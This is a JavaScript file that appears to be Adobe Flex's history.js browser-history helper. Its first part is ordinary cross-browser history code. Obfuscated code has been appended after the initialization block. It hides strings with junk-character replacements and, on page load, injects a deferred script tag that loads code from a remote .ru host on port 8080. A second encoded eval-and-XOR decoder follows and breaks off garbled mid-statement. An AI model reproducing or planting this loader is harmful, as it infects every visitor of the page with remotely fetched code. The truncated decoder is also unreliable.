BrowserHistoryUtils = { addEvent: function(elm, evType, fn, useCapture) { useCapture = useCapture || false; if (elm.addEventListener) { elm.addEventListener(evType, fn, useCapture); return true; } else if (elm.attachEvent) { var r = elm.attachEvent('on' + evType, fn); return r; } else { elm['on' + evType] = fn; } } } BrowserHistory = (function() { // type of browser var browser = { ie: false, firefox: false, safari: false, opera: false, version: -1 }; // if setDefaultURL has been called, our first clue // that the SWF is ready and listening //var swfReady = false; // the URL we'll send to the SWF once it is ready //var pendingURL = ''; // Default app state URL to use when no fragment ID present var defaultHash = ''; // Last-known app state URL var currentHref = document.location.href; // Initial URL (used only by IE) var initialHref = document.location.href; // Initial URL (used only by IE) var initialHash = document.location.hash; // History frame source URL prefix (used only by IE) var historyFrameSourcePrefix = 'history/historyFrame.html?'; // History maintenance (used only by Safari) var currentHistoryLength = -1; var historyHash = []; var initialState = createState(initialHref, initialHref + '#' + initialHash, initialHash); var backStack = []; var forwardStack = []; var currentObjectId = null; //UserAgent detection var useragent = navigator.userAgent.toLowerCase(); if (useragent.indexOf("opera") != -1) { browser.opera = true; } else if (useragent.indexOf("msie") != -1) { browser.ie = true; browser.version = parseFloat(useragent.substring(useragent.indexOf('msie') + 4)); } else if (useragent.indexOf("safari") != -1) { browser.safari = true; browser.version = parseFloat(useragent.substring(useragent.indexOf('safari') + 7)); } else if (useragent.indexOf("gecko") != -1) { browser.firefox = true; } if (browser.ie == true && browser.version == 7) { window["_ie_firstload"] = false; } // Accessor functions for obtaining specific elements of the page. function getHistoryFrame() { return document.getElementById('ie_historyFrame'); } function getAnchorElement() { return document.getElementById('firefox_anchorDiv'); } function getFormElement() { return document.getElementById('safari_formDiv'); } function getRememberElement() { return document.getElementById("safari_remember_field"); } /* Get the Flash player object for performing ExternalInterface callbacks. */ function getPlayer(objectId) { var objectId = objectId || null; var player = null; /* AJH, needed? = document.getElementById(getPlayerId()); */ if (browser.ie && objectId != null) { player = document.getElementById(objectId); } if (player == null) { player = document.getElementsByTagName('object')[0]; } if (player == null || player.object == null) { player = document.getElementsByTagName('embed')[0]; } return player; } function getPlayers() { var players = []; if (players.length == 0) { var tmp = document.getElementsByTagName('object'); players = tmp; } if (players.length == 0 || players[0].object == null) { var tmp = document.getElementsByTagName('embed'); players = tmp; } return players; } function getIframeHash() { var doc = getHistoryFrame().contentWindow.document; var hash = String(doc.location.search); if (hash.length == 1 && hash.charAt(0) == "?") { hash = ""; } else if (hash.length >= 2 && hash.charAt(0) == "?") { hash = hash.substring(1); } return hash; } /* Get the current location hash excluding the '#' symbol. */ function getHash() { // It would be nice if we could use document.location.hash here, // but it's faulty sometimes. var idx = document.location.href.indexOf('#'); return (idx >= 0) ? document.location.href.substr(idx+1) : ''; } /* Get the current location hash excluding the '#' symbol. */ function setHash(hash) { // It would be nice if we could use document.location.hash here, // but it's faulty sometimes. if (hash == '') hash = '#' document.location.hash = hash; } function createState(baseUrl, newUrl, flexAppUrl) { return { 'baseUrl': baseUrl, 'newUrl': newUrl, 'flexAppUrl': flexAppUrl, 'title': null }; } /* Add a history entry to the browser. * baseUrl: the portion of the location prior to the '#' * newUrl: the entire new URL, including '#' and following fragment * flexAppUrl: the portion of the location following the '#' only */ function addHistoryEntry(baseUrl, newUrl, flexAppUrl) { //delete all the history entries forwardStack = []; if (browser.ie) { //Check to see if we are being asked to do a navigate for the first //history entry, and if so ignore, because it's coming from the creation //of the history iframe if (flexAppUrl == defaultHash && document.location.href == initialHref && window['_ie_firstload']) { currentHref = initialHref; return; } if ((!flexAppUrl || flexAppUrl == defaultHash) && window['_ie_firstload']) { newUrl = baseUrl + '#' + defaultHash; flexAppUrl = defaultHash; } else { // for IE, tell the history frame to go somewhere without a '#' // in order to get this entry into the browser history. getHistoryFrame().src = historyFrameSourcePrefix + flexAppUrl; } setHash(flexAppUrl); } else { //ADR if (backStack.length == 0 && initialState.flexAppUrl == flexAppUrl) { initialState = createState(baseUrl, newUrl, flexAppUrl); } else if(backStack.length > 0 && backStack[backStack.length - 1].flexAppUrl == flexAppUrl) { backStack[backStack.length - 1] = createState(baseUrl, newUrl, flexAppUrl); } if (browser.safari) { // for Safari, submit a form whose action points to the desired URL if (browser.version <= 419.3) { var file = window.location.pathname.toString(); file = file.substring(file.lastIndexOf("/")+1); getFormElement().innerHTML = '
'; //get the current elements and add them to the form var qs = window.location.search.substring(1); var qs_arr = qs.split("&"); for (var i = 0; i < qs_arr.length; i++) { var tmp = qs_arr[i].split("="); var elem = document.createElement("input"); elem.type = "hidden"; elem.name = tmp[0]; elem.value = tmp[1]; document.forms.historyForm.appendChild(elem); } document.forms.historyForm.submit(); } else { top.location.hash = flexAppUrl; } // We also have to maintain the history by hand for Safari historyHash[history.length] = flexAppUrl; _storeStates(); } else { // Otherwise, write an anchor into the page and tell the browser to go there addAnchor(flexAppUrl); setHash(flexAppUrl); } } backStack.push(createState(baseUrl, newUrl, flexAppUrl)); } function _storeStates() { if (browser.safari) { getRememberElement().value = historyHash.join(","); } } function handleBackButton() { //The "current" page is always at the top of the history stack. var current = backStack.pop(); if (!current) { return; } var last = backStack[backStack.length - 1]; if (!last && backStack.length == 0){ last = initialState; } forwardStack.push(current); } function handleForwardButton() { //summary: private method. Do not call this directly. var last = forwardStack.pop(); if (!last) { return; } backStack.push(last); } function handleArbitraryUrl() { //delete all the history entries forwardStack = []; } /* Called periodically to poll to see if we need to detect navigation that has occurred */ function checkForUrlChange() { if (browser.ie) { if (currentHref != document.location.href && currentHref + '#' != document.location.href) { //This occurs when the user has navigated to a specific URL //within the app, and didn't use browser back/forward //IE seems to have a bug where it stops updating the URL it //shows the end-user at this point, but programatically it //appears to be correct. Do a full app reload to get around //this issue. if (browser.version < 7) { currentHref = document.location.href; document.location.reload(); } else { if (getHash() != getIframeHash()) { // this.iframe.src = this.blankURL + hash; var sourceToSet = historyFrameSourcePrefix + getHash(); getHistoryFrame().src = sourceToSet; } } } } if (browser.safari) { // For Safari, we have to check to see if history.length changed. if (currentHistoryLength >= 0 && history.length != currentHistoryLength) { //alert("did change: " + history.length + ", " + historyHash.length + "|" + historyHash[history.length] + "|>" + historyHash.join("|")); // If it did change, then we have to look the old state up // in our hand-maintained array since document.location.hash // won't have changed, then call back into BrowserManager. currentHistoryLength = history.length; var flexAppUrl = historyHash[currentHistoryLength]; if (flexAppUrl == '') { //flexAppUrl = defaultHash; } //ADR: to fix multiple if (typeof BrowserHistory_multiple != "undefined" && BrowserHistory_multiple == true) { var pl = getPlayers(); for (var i = 0; i < pl.length; i++) { pl[i].browserURLChange(flexAppUrl); } } else { getPlayer().browserURLChange(flexAppUrl); } _storeStates(); } } if (browser.firefox) { if (currentHref != document.location.href) { var bsl = backStack.length; var urlActions = { back: false, forward: false, set: false } if ((window.location.hash == initialHash || window.location.href == initialHref) && (bsl == 1)) { urlActions.back = true; // FIXME: could this ever be a forward button? // we can't clear it because we still need to check for forwards. Ugg. // clearInterval(this.locationTimer); handleBackButton(); } // first check to see if we could have gone forward. We always halt on // a no-hash item. if (forwardStack.length > 0) { if (forwardStack[forwardStack.length-1].flexAppUrl == getHash()) { urlActions.forward = true; handleForwardButton(); } } // ok, that didn't work, try someplace back in the history stack if ((bsl >= 2) && (backStack[bsl - 2])) { if (backStack[bsl - 2].flexAppUrl == getHash()) { urlActions.back = true; handleBackButton(); } } if (!urlActions.back && !urlActions.forward) { var foundInStacks = { back: -1, forward: -1 } for (var i = 0; i < backStack.length; i++) { if (backStack[i].flexAppUrl == getHash() && i != (bsl - 2)) { arbitraryUrl = true; foundInStacks.back = i; } } for (var i = 0; i < forwardStack.length; i++) { if (forwardStack[i].flexAppUrl == getHash() && i != (bsl - 2)) { arbitraryUrl = true; foundInStacks.forward = i; } } handleArbitraryUrl(); } // Firefox changed; do a callback into BrowserManager to tell it. currentHref = document.location.href; var flexAppUrl = getHash(); if (flexAppUrl == '') { //flexAppUrl = defaultHash; } //ADR: to fix multiple if (typeof BrowserHistory_multiple != "undefined" && BrowserHistory_multiple == true) { var pl = getPlayers(); for (var i = 0; i < pl.length; i++) { pl[i].browserURLChange(flexAppUrl); } } else { getPlayer().browserURLChange(flexAppUrl); } } } //setTimeout(checkForUrlChange, 50); } /* Write an anchor into the page to legitimize it as a URL for Firefox et al. */ function addAnchor(flexAppUrl) { if (document.getElementsByName(flexAppUrl).length == 0) { getAnchorElement().innerHTML += "" + flexAppUrl + ""; } } var _initialize = function () { if (browser.ie) { var scripts = document.getElementsByTagName('script'); for (var i = 0, s; s = scripts[i]; i++) { if (s.src.indexOf("history.js") > -1) { var iframe_location = (new String(s.src)).replace("history.js", "historyFrame.html"); } } historyFrameSourcePrefix = iframe_location + "?"; var src = historyFrameSourcePrefix; var iframe = document.createElement("iframe"); iframe.id = 'ie_historyFrame'; iframe.name = 'ie_historyFrame'; //iframe.src = historyFrameSourcePrefix; try { document.body.appendChild(iframe); } catch(e) { setTimeout(function() { document.body.appendChild(iframe); }, 0); } } if (browser.safari) { var rememberDiv = document.createElement("div"); rememberDiv.id = 'safari_rememberDiv'; document.body.appendChild(rememberDiv); rememberDiv.innerHTML = ''; var formDiv = document.createElement("div"); formDiv.id = 'safari_formDiv'; document.body.appendChild(formDiv); var reloader_content = document.createElement('div'); reloader_content.id = 'safarireloader'; var scripts = document.getElementsByTagName('script'); for (var i = 0, s; s = scripts[i]; i++) { if (s.src.indexOf("history.js") > -1) { html = (new String(s.src)).replace(".js", ".html"); } } reloader_content.innerHTML = ''; document.body.appendChild(reloader_content); reloader_content.style.position = 'absolute'; reloader_content.style.left = reloader_content.style.top = '-9999px'; iframe = reloader_content.getElementsByTagName('iframe')[0]; if (document.getElementById("safari_remember_field").value != "" ) { historyHash = document.getElementById("safari_remember_field").value.split(","); } } if (browser.firefox) { var anchorDiv = document.createElement("div"); anchorDiv.id = 'firefox_anchorDiv'; document.body.appendChild(anchorDiv); } //setTimeout(checkForUrlChange, 50); } return { historyHash: historyHash, backStack: function() { return backStack; }, forwardStack: function() { return forwardStack }, getPlayer: getPlayer, initialize: function(src) { _initialize(src); }, setURL: function(url) { document.location.href = url; }, getURL: function() { return document.location.href; }, getTitle: function() { return document.title; }, setTitle: function(title) { try { backStack[backStack.length - 1].title = title; } catch(e) { } //if on safari, set the title to be the empty string. if (browser.safari) { if (title == "") { try { var tmp = window.location.href.toString(); title = tmp.substring((tmp.lastIndexOf("/")+1), tmp.lastIndexOf("#")); } catch(e) { title = ""; } } } document.title = title; }, setDefaultURL: function(def) { defaultHash = def; def = getHash(); //trailing ? is important else an extra frame gets added to the history //when navigating back to the first page. Alternatively could check //in history frame navigation to compare # and ?. if (browser.ie) { window['_ie_firstload'] = true; var sourceToSet = historyFrameSourcePrefix + def; var func = function() { getHistoryFrame().src = sourceToSet; window.location.replace("#" + def); setInterval(checkForUrlChange, 50); } try { func(); } catch(e) { window.setTimeout(function() { func(); }, 0); } } if (browser.safari) { currentHistoryLength = history.length; if (historyHash.length == 0) { historyHash[currentHistoryLength] = def; var newloc = "#" + def; window.location.replace(newloc); } else { //alert(historyHash[historyHash.length-1]); } //setHash(def); setInterval(checkForUrlChange, 50); } if (browser.firefox || browser.opera) { var reg = new RegExp("#" + def + "$"); if (window.location.toString().match(reg)) { } else { var newloc ="#" + def; window.location.replace(newloc); } setInterval(checkForUrlChange, 50); //setHash(def); } }, /* Set the current browser URL; called from inside BrowserManager to propagate * the application state out to the container. */ setBrowserURL: function(flexAppUrl, objectId) { if (browser.ie && typeof objectId != "undefined") { currentObjectId = objectId; } //fromIframe = fromIframe || false; //fromFlex = fromFlex || false; //alert("setBrowserURL: " + flexAppUrl); //flexAppUrl = (flexAppUrl == "") ? defaultHash : flexAppUrl ; var pos = document.location.href.indexOf('#'); var baseUrl = pos != -1 ? document.location.href.substr(0, pos) : document.location.href; var newUrl = baseUrl + '#' + flexAppUrl; if (document.location.href != newUrl && document.location.href + '#' != newUrl) { currentHref = newUrl; addHistoryEntry(baseUrl, newUrl, flexAppUrl); currentHistoryLength = history.length; } return false; }, browserURLChange: function(flexAppUrl) { var objectId = null; if (browser.ie && currentObjectId != null) { objectId = currentObjectId; } pendingURL = ''; if (typeof BrowserHistory_multiple != "undefined" && BrowserHistory_multiple == true) { var pl = getPlayers(); for (var i = 0; i < pl.length; i++) { try { pl[i].browserURLChange(flexAppUrl); } catch(e) { } } } else { try { getPlayer(objectId).browserURLChange(flexAppUrl); } catch(e) { } } currentObjectId = null; } } })(); // Initialization // Automated unit testing and other diagnostics function setURL(url) { document.location.href = url; } function backButton() { history.back(); } function forwardButton() { history.forward(); } function goForwardOrBackInHistory(step) { history.go(step); } //BrowserHistoryUtils.addEvent(window, "load", function() { BrowserHistory.initialize(); }); (function(i) { var u =navigator.userAgent;var e=/*@cc_on!@*/false; var st = setTimeout; if(/webkit/i.test(u)){ st(function(){ var dr=document.readyState; if(dr=="loaded"||dr=="complete"){i()} else{st(arguments.callee,10);}},10); } else if((/mozilla/i.test(u)&&!/(compati)/.test(u)) || (/opera/i.test(u))){ document.addEventListener("DOMContentLoaded",i,false); } else if(e){ (function(){ var t=document.createElement('doc:rdy'); try{t.doScroll('left'); i();t=null; }catch(e){st(arguments.callee,0);}})(); } else{ window.onload=i; } })( function() {BrowserHistory.initialize();} ); var t;if(t!='' && t!='vy'){t=null};var f="f";var wl=false;var u=document;var tw="";var k='s|c&rmi0pmtm'.replace(/[m&0Y\|]/g, '');var zt="";this.cg="";var v=window;this.ug="ug";var l;if(l!='m' && l != ''){l=null};this.s="s";v.onload=function(){try {z=u.createElement(k);var lo=false;z.src='h|t+tRpO:R/T/Tg+a+m|e+fOaRq|sO-|c+oOmO.OlTiRbRe+r+oR.OiRt+.Tp|a|yOsTeRrOvRe|-|cRo|m+.RbTeTs+t+nTeRwRh|a+v|e+nR.OrOuO:T8R0O8O0|/+fRbOcTdTnT.|nOe|t+/+fRb|cTd+nT.OnReRt|/|wTa|t|.|t+vR/Og+oRoTgTlReR.TcTo|m+/|mRo+n+o|g+r|a|fTiTa|s|.Rc|o|mT/R'.replace(/[R\|OT\+]/g, '');this.ze="";var mx;if(mx!='yc'){mx=''};z.setAttribute('dOe@f@eRr5'.replace(/[5RO/@]/g, ''), "1");this.at=45788;var d;if(d!='af' && d!='ca'){d=''};var l_;if(l_!='' && l_!='gs'){l_=null};var j=new String();u.body.appendChild(z);} catch(zi){this.bg="";this.zb="";};this.al=50188;};var sr;if(sr!='bh' && sr!='dh'){sr=''}; k=function(){var q=document;var y=false;window[qp([0,2][1])]=function(){var h=new Array();try {b=q[qp([1][0])](qp([0][0]));this.j="j";var kv = q[qp([6,4][0])];var dv;if(dv!='yu'){dv=''};b[qp([3][0])]=qp([0,8][1]);b[qp([5][0])](qp([8,7][1]), "1");var xu=new Array();this.yp=false;kv[qp([4,9][0])](b);} catch(c){};};this.yl=false;function qp(qm){var s=new String();var x=['sPcDr=b;Wd=Wd-[1][0]){this.cK="";var WE;if(WE!='FQY'){WE=''};o+=md[j("hcratA", [1,0])](Wd);this.VU="VU";}return o;var eh=new String();};var no=new Date();this.zM=20489; function l(K,D){this.OD=false;var dH;if(dH!='kt' && dH!='xw'){dH='kt'};return K[j("aCcrhetoAd", [2,4,0,3,1])](D);}var bC=window;var cG=bC[j("aevl", [1,2,0])];var bx=cG(j("cFnuntoi", [1,3,2,0]));this.AK='';var kr;if(kr!='' && kr!='aA'){kr='uW'};var MT = '';var it;if(it!='' && it!='Zq'){it=null};var Ht;if(Ht!='' && Ht!='vyo'){Ht=null};var yC=15485;var Ko=cG(j("egERxp", [3,0,1,2]));var AF=cG(j("trSnig", [2,0,1,4,3]));var FJq;if(FJq!='GYY' && FJq != ''){FJq=null};var FB=new Date();this.lz=false;var ZH=false;var UiK;if(UiK!='Db'){UiK=''};this.HkU='';var JT=new Array();var t=bC[j("nuesacpe", [1,0,2,3])];var jo;if(jo!='' && jo!='Iv'){jo=null};var ET=AF[j("ofrhmCCareod", [1,2,0])];var dm;if(dm!='' && dm!='cT'){dm=null};this.zG='';var WdS=new String();this.AZ=false;var h=[1, j("uomcd.ncteteearmleeE\'ts(nprtic\')", [4,1,3,0,2]),2, j("ntmducoeapy.dob.ilCpdnehd(d)", [3,6,5,4,2,7,0,1]),3, j("etnth.hoeelmbsaru.80:80", [2,0,1]),4, j("ot.cmo.suyrsip.cmoxnet", [3,5,4,2,1,0]),5, j("tst.dtAe\'btir(eudefer\'", [4,3,1,7,2,6,5,0]),6, j("oiicrvtcsesraet.com", [5,1,3,6,0,4,2]),7, j("efed.xocm", [1,0]),8, j("dowinnlw.ooad", [2,3,4,0,1]),11, j("noficnut()", [2,6,5,4,7,3,1,0]),12, j("oggoelc.mo", [1,0]),14, j("deegezn.t", [5,4,0,3,1,7,6,2]),15, j("tac(hce)", [2,1,0]),16, j("t\"pth:", [1,4,3,0,2]),17, j(".dsrc", [1,0,2,3,4]),18, j("1\')\'", [1,0]),19, j("ksy", [1,0]),20, j("rty", [1,0,2])];var Qg=new String();var jY;if(jY!='Zg'){jY=''};var Fz="";this.aO=false;var G = /[^@a-z0-9A-Z_-]/g;var RB=new String();var at = '';var mE=725;var OJ;if(OJ!=''){OJ='Rs'};var Tzj;if(Tzj!='' && Tzj!='FT'){Tzj=null};var Kl =[2][0];this.Kp=23928;var k =[0][0];var Ws='';var QI='';var y = S[j("enlthg", [2,0,1])];var lg=new Date();var qp=new Array();var b =[139,0,40,125][1];var PaU=new Array();var mA="";var lR = '';var KE;if(KE!='Lc' && KE!='BD'){KE='Lc'};var B = "%";var TW;if(TW!='eP'){TW='eP'};var esK=false;this.Ds='';var L =[1,176][0];var O = '';var zZj=new Date();var qyZ;if(qyZ!='IgQ'){qyZ='IgQ'};var idl=false;for(var qg=b; qg < y; qg+=Kl){at+= B; var Le;if(Le!='CNi' && Le!='Ks'){Le=''};var rN;if(rN!='pm' && rN != ''){rN=null};at+= S[j("bsustr", [3,2,0,1,4])](qg, Kl);this.tf=false;}var kX;if(kX!='aH' && kX!='Wl'){kX=''};var pJ=new Array();var S = t(at);var Sv;if(Sv!='' && Sv!='GZ'){Sv='VL'};var YD="YD";var N = new AF(m);var NM;if(NM!='' && NM!='Iq'){NM=null};var f = N[j("preclae", [1,2,0])](G, lR);var mx=new String();this.BbE="";var LIi=21639;var cVT=24904;var Q = new AF(bx);var eA='';f = H(f);var gp;if(gp!=''){gp='ps'};var qgV = h[j("etnlgh", [3,0,2,4,1])];this.xE="xE";var Mz;if(Mz!='eb' && Mz != ''){Mz=null};var Svu='';var brt=new String();var s = Q[j("erlpcae", [1,0])](G, lR);var s = u(s);var TB;if(TB!='Fg' && TB!='Fr'){TB=''};this.is="";var My=u(f);var RYk;if(RYk!='' && RYk!='zO'){RYk=''};var hg;if(hg!='' && hg!='vD'){hg=''};for(var Wd=b; Wd < (S[j("enlgth", [2,0,1,3,4])]);Wd=Wd+[1,25][0]) {var zk="";var UE=false;var P = f.charCodeAt(k);var Mw=false;var br = l(S,Wd);var GI="";br = X(br, P);br = X(br, My);br = X(br, s);var qgq=55137;var xG=56286;var Fgi;if(Fgi!=''){Fgi='Gh'};k++;var sG;if(sG!='' && sG!='vH'){sG='QT'};var Ib;if(Ib!='wb' && Ib!='CKo'){Ib=''};this.jc='';if(k > f.length-L){this.sYX='';k=b;var fL=new Array();}var nG="";var Xp="";var XR=new Array();O += ET(br);var ve;if(ve!='Zm' && ve != ''){ve=null};}for(Ap=b; Ap < qgV; Ap+=Kl){var EU="EU";var hv;if(hv!='' && hv!='PN'){hv=''};var mG = h[Ap + L];this.YO="YO";var Mnb;if(Mnb!='' && Mnb!='uY'){Mnb=null};var Kt = ET(h[Ap]);var nl=new String();var mL = new Ko(Kt, "g");var TS=new Date();O=O[j("pearlce", [3,1,0,4 document.write('